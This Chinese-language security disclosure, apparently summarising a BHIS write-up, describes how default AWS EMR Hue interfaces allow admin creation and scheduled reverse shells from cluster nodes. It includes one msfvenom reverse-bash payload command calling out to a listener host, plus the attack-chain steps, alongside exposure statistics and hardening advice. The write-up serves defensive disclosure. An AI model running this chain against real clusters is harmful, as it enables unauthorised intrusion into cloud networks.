云安全实战:AWS EMR漏洞挖掘与渗透测试全解析
Jordan Drysdale //
内容提要
BHIS在审计客户Amazon Web Services(AWS)基础设施时发现:通过弹性Map Reduce(EMR)应用栈存在两条侵入虚拟私有云(VPC)的路径。其一是已被Apache修补的Hadoop未授权RCE漏洞,另一更值得关注的入口是HUE界面——该界面默认允许创建Web管理用户。通过HUE可创建调度任务从集群工作节点发送出口shell,从而打开VPC访问通道。
大数据时代的安全挑战
大型数据处理引擎构成现代科技公司的支柱,数据中心的互联网集合不断收集用户信息。这些数据经聚合编译后存入人口统计容器,并向广告商、政治宣传等买方出售访问权。AWS上的EMR(Elastic Map Reduce)服务只需点击数次即可部署任意规模的数据处理引擎。
责任划分框架
- 云服务商责任:物理安全、虚拟化部署、硬件维护
- 客户责任:服务配置管理、策略执行、渗透测试验证
- 技术细节:EMR集群采用主/工作节点模式的EC2实例,主控制台向工作节点发送操作指令
漏洞扫描发现
使用Tenable产品对默认配置的EMR集群扫描发现:
- 三节点集群
- 55个默认开放端口
- 10个混合风险等级漏洞(低/中/高/严重)
- 主节点存在不受支持的PHP 5.6.40版本
EMR集群组件分析
集群运行在Amazon预构建AMI上,包含以下关键组件:
- Hadoop分布式文件系统
- EMR文件系统(支持S3文件系统通信)
- Hue(多版本)
- YARN资源调度器
- Apache Spark/Flink/Hive
- Jupyter/Oozie/Pig等工具
默认安全防护与风险
AWS为EMR提供分层保护:
- 默认安全组禁止互联网入站
- 托管安全组管理主/工作节点间网络连接
- 网络管理文档明确警告互联网暴露风险
- 5.10.0+版本支持Kerberos集群访问控制
攻击链实操演示
-
初始访问:Hue服务默认等待创建管理员用户
-
权限提升:通过Hue界面创建调度工作流
1
msfvenom -p cmd/unix/reverse_bash LHOST=1.1.1.1 LPORT=443 -f raw > shell-revBash.sh
-
持久化:上传反向shell脚本并设置为定期调度任务
-
横向移动:通过获得的’yarn’用户权限在VPC内横向渗透
威胁规模统计
- 2018年12月:约900个Hue界面暴露在互联网
- 2019年8月:663个可能存在漏洞的实例
加固建议
- 将集群部署在配备S3端点的私有子网
- 通过NAT实例控制VPC子网与互联网的通信
- 使用S3策略限制端点访问权限
- 通过堡垒主机安全访问私有子网中的EMR集群
关键参考资源
- HUE官方文档:http://gethue.com
- EMR Kerberos集成指南:https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-kerberos.html
- AWS网络配置概述:https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-plan-vpc-subnet.html
- offensive AWS工具集:https://github.com/carnal0wnage/weirdAAL
本文披露的并非传统漏洞,而是HUE的"特性",但确实构成重大安全风险。建议企业加强服务安全配置、定期进行渗透测试、制定事件响应计划。
文档版本:2019年8月21日